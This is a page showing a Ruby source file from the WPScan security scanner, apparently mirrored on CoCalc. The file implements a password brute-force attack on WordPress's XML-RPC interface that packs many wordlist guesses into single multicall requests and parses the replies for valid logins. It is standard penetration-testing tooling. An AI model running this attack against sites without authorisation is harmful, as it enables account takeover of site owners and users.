Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
wpscanteam
GitHub Repository: wpscanteam/wpscan
Path: blob/master/app/finders/passwords/xml_rpc_multicall.rb
485 views
1
# frozen_string_literal: true
2
3
module WPScan
4
module Finders
5
module Passwords
6
# Password attack against the XMLRPC interface with the multicall method
7
# WP < 4.4 is vulnerable to such attack
8
class XMLRPCMulticall < CMSScanner::Finders::Finder
9
# @param [ Array<User> ] users
10
# @param [ Array<String> ] passwords
11
#
12
# @return [ Typhoeus::Response ]
13
def do_multi_call(users, passwords)
14
methods = []
15
16
users.each do |user|
17
passwords.each do |password|
18
methods << ['wp.getUsersBlogs', user.username, password]
19
end
20
end
21
22
target.multi_call(methods, cache_ttl: 0).run
23
end
24
25
# @param [ IO ] file
26
# @param [ Integer ] passwords_size
27
# @return [ Array<String> ] The passwords from the last checked position in the file until there are
28
# passwords_size passwords retrieved
29
def passwords_from_wordlist(file, passwords_size)
30
pwds = []
31
added_pwds = 0
32
33
return pwds if passwords_size.zero?
34
35
# Make sure that the main code does not call #sysseek or #count etc
36
# otherwise the file descriptor will be set to somwehere else
37
file.each_line(chomp: true) do |line|
38
pwds << line
39
added_pwds += 1
40
41
break if added_pwds == passwords_size
42
end
43
44
pwds
45
end
46
47
# @param [ Array<Model::User> ] users
48
# @param [ String ] wordlist_path
49
# @param [ Hash ] opts
50
# @option opts [ Boolean ] :show_progression
51
# @option opts [ Integer ] :multicall_max_passwords
52
#
53
# @yield [ Model::User ] When a valid combination is found
54
#
55
# TODO: Make rubocop happy about metrics etc
56
#
57
# rubocop:disable all
58
def attack(users, wordlist_path, opts = {})
59
checked_passwords = 0
60
wordlist = File.open(wordlist_path)
61
wordlist_size = wordlist.count
62
max_passwords = opts[:multicall_max_passwords]
63
current_passwords_size = passwords_size(max_passwords, users.size)
64
65
create_progress_bar(total: (wordlist_size / current_passwords_size.round(1)).ceil,
66
show_progression: opts[:show_progression])
67
68
wordlist.sysseek(0) # reset the descriptor to the beginning of the file as it changed with #count
69
70
loop do
71
current_users = users.select { |user| user.password.nil? }
72
current_passwords = passwords_from_wordlist(wordlist, current_passwords_size)
73
checked_passwords += current_passwords_size
74
75
break if current_users.empty? || current_passwords.nil? || current_passwords.empty?
76
77
res = do_multi_call(current_users, current_passwords)
78
79
progress_bar.increment
80
81
check_and_output_errors(res)
82
83
# Avoid to parse the response and iterate over all the structs in the document
84
# if there isn't any tag matching a valid combination
85
next unless res.body =~ /isAdmin/ # maybe a better one ?
86
87
Nokogiri::XML(res.body).xpath('//struct').each_with_index do |struct, index|
88
next if struct.text =~ /faultCode/
89
90
user = current_users[index / current_passwords.size]
91
user.password = current_passwords[index % current_passwords.size]
92
93
yield user
94
95
# Updates the current_passwords_size and progress_bar#total
96
# given that less requests will be done due to a valid combination found.
97
current_passwords_size = passwords_size(max_passwords, current_users.size - 1)
98
99
if current_passwords_size == 0
100
progress_bar.log('All Found') # remove ?
101
progress_bar.stop
102
break
103
end
104
105
begin
106
progress_bar.total = progress_bar.progress + ((wordlist_size - checked_passwords) / current_passwords_size.round(1)).ceil
107
rescue ProgressBar::InvalidProgressError
108
end
109
end
110
end
111
# Maybe a progress_bar.stop ?
112
end
113
# rubocop:enable all
114
115
def passwords_size(max_passwords, users_size)
116
return 1 if max_passwords < users_size
117
return 0 if users_size.zero?
118
119
max_passwords / users_size
120
end
121
122
# @param [ Typhoeus::Response ] res
123
def check_and_output_errors(res)
124
progress_bar.log("Incorrect response: #{res.code} / #{res.return_message}") unless res.code == 200
125
126
if /parse error. not well formed/i.match?(res.body)
127
progress_bar.log('Parsing error, might be caused by a too high --max-passwords value (such as >= 2k)')
128
end
129
130
return unless /requested method [^ ]+ does not exist/i.match?(res.body)
131
132
progress_bar.log('The requested method is not supported')
133
end
134
end
135
end
136
end
137
end
138
139